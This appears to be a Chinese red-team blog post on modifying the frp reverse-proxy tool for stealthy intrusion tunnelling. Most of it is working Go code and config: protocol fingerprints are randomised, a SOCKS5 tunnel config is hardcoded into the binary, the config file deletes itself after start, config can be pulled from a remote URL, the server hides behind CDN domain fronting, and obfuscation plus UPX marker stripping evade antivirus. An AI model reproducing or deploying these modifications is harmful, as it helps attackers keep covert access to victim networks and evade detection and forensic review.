0x01 介绍 本文基于frp 0.38.1版本进行的修改。
克隆最新frp版本,开始进行修改,由于我是不会go的废物 基本上都是按照着大佬的文章进行修改,所以本文算是简单记录下我改的地方,和学习go的笔记,并没有什么新东西。
0x02 FRP流量特征修改 客户端启动时,会向服务端发送认证信息。(图中version是已被修改过的信息)
修改版本号信息,pkg/utils/version.go
处,需要注意的是如果修改的版本号过小,则会出现连接问题。(后面发现,如果这里改成0.99.99也不行,不能跨平台连接。如Winodw客户端 无法连接Linux服务端。总结:不建议改。)
此外可以修改pkg/msg/msg.go
文件处的结构体。这里定义了登录服务器以及相关的回显信息。
这里简单写了个python小脚本方便替换
1 2 3 4 5 6 7 8 9 10 11 import reimport randomimport stringmsg_file = "./pkg/msg/msg.go" with open (msg_file, 'r' , encoding='utf-8' ) as f1, open (f"{msg_file} .bak" , 'w+' , encoding='utf-8' ) as f2: re1 = re.compile ("json:\"(.*?)\"" ) for line in f1: ran_str = '' .join(random.sample(string.ascii_letters + string.digits, 8 )) f2.write(re.sub(re1, f"json:\"{ran_str} \"" , line))
效果
但是这样显然还是很有破绽,让我们看看怎么做的更完美一点。
TLS_ONLY 在不启用压缩的情况下,进行代理连接,在流量中也是能够发现攻击者连接frp的痕迹,比如这里就是
6T…. : 该连接的配置名称
fsno….: 连接的源IP
H8….:frps服务器的地址(这里服务器地址IP是10.0.8.5,是因为获取的服务器本机的网卡地址。如果服务器ifconfig看到的地址是公网ip,那这里就是公网ip)
xlP5… : 连接的源端口
29….:frps的代理端口
所以我们在配置文件中打开TLS_ONLY。
服务端需要在frps配置文件中设置tls_only选项。
1 2 3 4 5 6 7 [common] bind_port = frps_port token = YOUR_TOKEN allow_ports = frps_allow_client_open_port tls_only = true
同样客户端中也需要启用tls连接选项。
1 2 3 4 5 6 7 8 9 10 [common] server_addr = frps_addr server_port = frps_port token = YOUR_TOKEN tls_enable = true [sock5] type = tcpremote_port = frps_open_port plugin = socks5
启用tls_only后再次抓包。
修改客户端使用Proxy的流量特征 如果不想开启TLS选项的话,又不想在配置代理时暴露服务器IP和本机IP的话,修改server/proxy/proxy.go
文件。把源地址和目的地址写死127.0.0.1(任君修改)。
可以发现记录的源地址和目的地址已经都变成127.0.0.1了。
TLS默认字节修改 frp的建立发起的第一个包,默认是0x17。只需修改pkg/util/net/tls.go
处的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 var ( FRPTLSHeadByte = 0x88 ) func WrapTLSClientConn (c net.Conn, tlsConfig *tls.Config, disableCustomTLSHeadByte bool ) (out net.Conn) { if !disableCustomTLSHeadByte { c.Write([]byte {byte (FRPTLSHeadByte), byte (0x61 ), byte (0x62 )}) } out = tls.Client(c, tlsConfig) return } func CheckAndEnableTLSServerConnWithTimeout ( c net.Conn, tlsConfig *tls.Config, tlsOnly bool , timeout time.Duration, ) (out net.Conn, isTLS bool , custom bool , err error ) { sc, r := gnet.NewSharedConnSize(c, 4 ) buf := make ([]byte , 3 ) var n int c.SetReadDeadline(time.Now().Add(timeout)) n, err = r.Read(buf) c.SetReadDeadline(time.Time{}) if err != nil { return } if n == 3 && int (buf[0 ]) == FRPTLSHeadByte { out = tls.Server(c, tlsConfig) isTLS = true custom = true } else if n == 1 && int (buf[0 ]) == 0x16 { out = tls.Server(sc, tlsConfig) isTLS = true } else { if tlsOnly { err = fmt.Errorf("non-TLS connection received on a TlsOnly server" ) return } out = sc } return }
可以看到建立连接发送的第一个包已经从1字节变成了3字节。但是后面发送的一个包还是243字节。
0x03 功能改造 无配置文件落地-改法1 如果只想要无配置文件就能执行的话,可以直接照着这里改。
修改文件pkg/config/parse.go
,,修改为以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 func ParseClientConfig (filePath string ) ( cfg ClientCommonConf, pxyCfgs map [string ]ProxyConf, visitorCfgs map [string ]VisitorConf, err error , ) { var fileContent string = `[common] server_addr = 1.1.1.1 server_port = 65534 token = YourToken tls_enable = true [ssh] type = tcp remote_port = 60001 plugin = socks5 plugin_user = hello plugin_passwd = hello ` var content []byte content, err = GetRenderedConfFromFile(filePath) if err != nil { var content []byte = []byte (fileContent) if err != nil { return } } ............ ............ ............ ............ ............ pxyCfgs, visitorCfgs, err = LoadAllProxyConfsFromIni(cfg.User, configBuffer.Bytes(), cfg.Start) if err != nil { return } return }
测试效果,客户端文件落地即可执行。
但是特征特别明显,Linux下直接strings
frpc客户端就能获取到程序硬编码的信息。
所以可见其实配置信息硬编码进去还是不太安全,这里我能想到的办法就是加壳了,但是如果遇到会脱壳的蓝队对他们来说估计也是轻轻松松。
命令方式开启socks5代理 修改配置文件cmd/frpc/sub/tcp.go
添加参数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 func init () { RegisterCommonFlags(tcpCmd) tcpCmd.PersistentFlags().StringVarP(&proxyName, "proxy_name" , "n" , "" , "proxy name" ) tcpCmd.PersistentFlags().StringVarP(&localIP, "local_ip" , "i" , "127.0.0.1" , "local ip" ) tcpCmd.PersistentFlags().IntVarP(&localPort, "local_port" , "l" , 0 , "local port" ) tcpCmd.PersistentFlags().IntVarP(&remotePort, "remote_port" , "r" , 0 , "remote port" ) tcpCmd.PersistentFlags().BoolVarP(&useEncryption, "ue" , "" , false , "use encryption" ) tcpCmd.PersistentFlags().BoolVarP(&useCompression, "uc" , "" , false , "use compression" ) tcpCmd.PersistentFlags().StringVarP(&pluginName, "plugin" , "" , "" , "plugins" ) tcpCmd.PersistentFlags().StringVarP(&pluginUser, "plugin_user" , "" , "" , "plugins user name" ) tcpCmd.PersistentFlags().StringVarP(&pluginPass, "plugin_pass" , "" , "" , "plguins user password" ) rootCmd.AddCommand(tcpCmd) } var tcpCmd = &cobra.Command{ Use: "tcp" , Short: "Run frpc with a single tcp proxy" , ...... ...... ...... ...... ...... ...... cfg.UseEncryption = useEncryption cfg.UseCompression = useCompression cfg.Plugin = pluginName if cfg.Plugin != "" { cfg.PluginParams = make (map [string ]string ) cfg.PluginParams["plugin_user" ] = pluginUser cfg.PluginParams["plugin_passwd" ] = pluginPass } .... ...
cmd/frpc/sub/root.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 var ( cfgFile string showVersion bool serverAddr string user string protocol string token string logLevel string logFile string logMaxDays int disableLogColor bool proxyName string localIP string localPort int remotePort int useEncryption bool useCompression bool customDomains string subDomain string httpUser string httpPwd string locations string hostHeaderRewrite string role string sk string multiplexer string serverName string bindAddr string bindPort int tlsEnable bool pluginName string pluginUser string pluginPass string kcpDoneCh chan struct {} )
编译后使用(感觉适合在Windows下这样用,Linux可以从进程中看到相关命令)。
1 ./frpc tcp -s 1.1 .1 .1 :7000 -r 60001 -t YourToken --plugin socks5 --plugin_user hello --plugin_pass 123456 --tls_enable -n `openssl rand -base64 8`
配置文件自删除 既然硬编码不安全,那我们还是传配置文件吧,但是为了不让我们忘记删除配置文件,加个自动删除配置文件的功能吧。
在frpc/root.go里面进行修改,在init中注册参数,然后判断参数是否开启,开启就删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 var ( cfgFile string showVersion bool serverAddr string user string protocol string token string logLevel string logFile string logMaxDays int disableLogColor bool proxyName string localIP string localPort int remotePort int useEncryption bool useCompression bool customDomains string subDomain string httpUser string httpPwd string locations string hostHeaderRewrite string role string sk string multiplexer string serverName string bindAddr string bindPort int tlsEnable bool delEnable bool kcpDoneCh chan struct {} ) func init () { rootCmd.PersistentFlags().StringVarP(&cfgFile, "config" , "c" , "./frpc.ini" , "config file of frpc" ) rootCmd.PersistentFlags().BoolVarP(&showVersion, "version" , "v" , false , "version of frpc" ) rootCmd.PersistentFlags().BoolVarP(&delEnable, "del_enable" , "" , false , "enable auto delete frpc.ini" ) kcpDoneCh = make (chan struct {}) } func startService ( cfg config.ClientCommonConf, pxyCfgs map [string ]config.ProxyConf, visitorCfgs map [string ]config.VisitorConf, cfgFile string , ) (err error ) { log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel, cfg.LogMaxDays, cfg.DisableLogColor) if cfg.DNSServer != "" { s := cfg.DNSServer if !strings.Contains(s, ":" ) { s += ":53" } net.DefaultResolver = &net.Resolver{ PreferGo: true , Dial: func (ctx context.Context, network, address string ) (net.Conn, error ) { return net.Dial("udp" , s) }, } } svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile) if errRet != nil { err = errRet return } if delEnable == true { os.Remove(cfgFile) } if cfg.Protocol == "kcp" { go handleSignal(svr) } err = svr.Run() if err == nil && cfg.Protocol == "kcp" { <-kcpDoneCh } return }
使用方法:多带一个—del_enable就行,也可以给一个短参数。
1 ./frpc --del_enable -c frpc.ini
一次满足三个愿望-(无配置文件落地改法2) pkg/config/parse.go
不做任何修改,只修pkg/config/value.go
的GetRenderedConfFromFile函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 func GetRenderedConfFromFile (path string ) (out []byte , err error ) { var b []byte rawUrl := path rand.Seed(time.Now().UnixNano()) var randstr string for i := 0 ; i < 10 ; i++ { num := rand.Intn(10 ) randstr += strconv.Itoa(num) } var FileContent string = `[common] server_addr = 1.1.1.1 server_port = 1234 token = Test tls_enable = true [` + randstr + `] type = tcp remote_port = 60001 plugin = socks5 #plugin_user = hello #plugin_passwd = hello ` if strings.Contains(rawUrl, "http" ) { log.Info("Remote Configurations" ) response, _err1 := http.Get(path) if _err1 != nil { log.Error("Remote frpc.ini not found...now load default config" ) log.Info("Internal Configurations" ) var content []byte = []byte (FileContent) out, err = RenderContent(content) if err != nil { return } return } defer response.Body.Close() body, _err := ioutil.ReadAll(response.Body) if _err != nil { log.Error("Remote frpc.ini not found...now load default config" ) log.Info("Internal Configurations" ) var content []byte = []byte (FileContent) out, err = RenderContent(content) if err != nil { return } return } http_content := string (body) var content []byte = []byte (http_content) out, err = RenderContent(content) return } else { log.Info("Local Configurations" ) b, err = os.ReadFile(path) if err != nil { log.Error("Local frpc.ini not found...now load default config" ) log.Info("Internal Configurations" ) var content []byte = []byte (FileContent) out, err = RenderContent(content) if err != nil { return } return } local_content := string (b) var content []byte = []byte (local_content) out, err = RenderContent(content) return } }
测试效果,可以看到我当前目录下是没有frpc.ini文件的。
如果不需要配置硬编码在程序里可以删除以下代码。
1 2 3 4 5 6 7 8 9 10 11 12 var FileContent string = ` ........ ....... ` log.Error("Local frpc.ini not found...now load default config" ) log.Info("Internal Configurations" ) var content []byte = []byte (FileContent)out, err = RenderContent(content) if err != nil { return }
0x04 域前置隐藏frp cs有域前置,那frp也能不能用域前置连接的。由于frp已经支持websocket的连接,所以可以直接尝试能否套cdn来连上frp服务器。
测试的frpc配置文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 [common] server_addr = frp.xxxxx.site # 你的域名 server_port = 8080 token = YourToken #tls_enable = true #这里关闭TLS的原因是方便调试,正常使用请打开。 protocol = websocket [test_sock5] type = tcpremote_port = 60001 plugin = socks5 use_encryption = true use_compression = true
发现是可以连接上的,这也在某种程度上说明了域前置是可行的。
其次,由于连接的特征~!frp
过于明显,所以我们可以修改成其他的,比如什么/~!json
,甚至是其他常见目录。由于使用的是websocket,所以如果要使用域前置的话,CDN要选择支持websocket协议的厂商,比如fastly就不行。
由于frp的websocket实现是引用了其他依赖库([email protected] /websocket/
),所以需要修改依赖库。这里比较麻烦,这里我修改的虽然能实现域前置功能,但是存在一些小问题。思路大致就是客户端添加一个配置选项,可以指定连接的host头,原有的server_addr配置就是域前置多地ping找到的ip或者是域名。修改的地方比较多,可以直接看修改后的源码。这里就不一步步贴图了。
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [common] server_addr = CDNIP/域名 server_port = 80 token = YourToken #tls_enable = true protocol = websocket websocket_domain = 回源域名 [test_sock5] type = tcpremote_port = 60001 plugin = socks5 use_encryption = true use_compression = true
实现效果:
存在的问题 问题1-闲置断连 在测试过程中发现,如果代理闲置了10秒就发送心跳包,但是可能由于域前置的问题,发送的心跳包有问题,导致断连,但是一直在用的话倒是不影响使用?
尝试修改了心跳和超时相关的配置文件,但是没有用。不过看到注释有个todo,感觉这个思路是可以解决的。自己进行了一些修改和调试,但是还是无法解决,只能等官方实现后再尝试。
这个问题如果无法解决的话,就有点怪。因为流量设备上面可能会看到客户端 10秒左右 请求一次 http://CDN地址/frpsocket
。
问题2-CDN缓存 在修改websocket请求的路径后,刚编译完成是可以使用的。下班后,第二天上班再测试就使用不了,后来重新改了一下请求的路径又能用了。我猜是cdn缓存的问题。所以每次使用前还得重编译一下,这也太麻烦了,不过我觉得关闭cdn的缓存机制,可能可以解决。
思考 在添加域前置功能后,前面说的无配置文件落地,和命令行执行都可以不担心泄露服务器的真实ip进行使用了。但是目前的问题1 闲置断连的情况,以我这浅薄的go代码能力暂时无法解决这个问题,只能等frp官方实现客户端禁用心跳的功能再试试了。
0x05 压缩体积&代码混淆 因为一般就Windows有杀软,所以这里用windows平台的作为演示,在不做任何修改的情况下,编译出来丢上vt的结果,发现卡巴总是能精确的查杀到frp的特征。
upx套个壳。虽然能把体积压缩到3-4M,但是查杀率提升了。
我这边尝试了代码混淆不加壳的方式进行了一次查杀,可以发现和前面不加壳的对比,还是挺明显的。。
代码混淆+加UPX壳。主流杀软也不报,看起来还行。
加了upx
壳之后,可以直接使用upx -d
脱壳。但是可以用winhex等工具把诸如upx1、upx2、upx0、upx!等用00替换后,就无法直接使用upx -d
脱壳了。如图,去除了upx特征的exe。
由于域前置问题解决不了心态崩了,没有测试动态免杀效果。
0x06 参考链接
修改之后的源码:
https://github.com/atsud0/frp-modify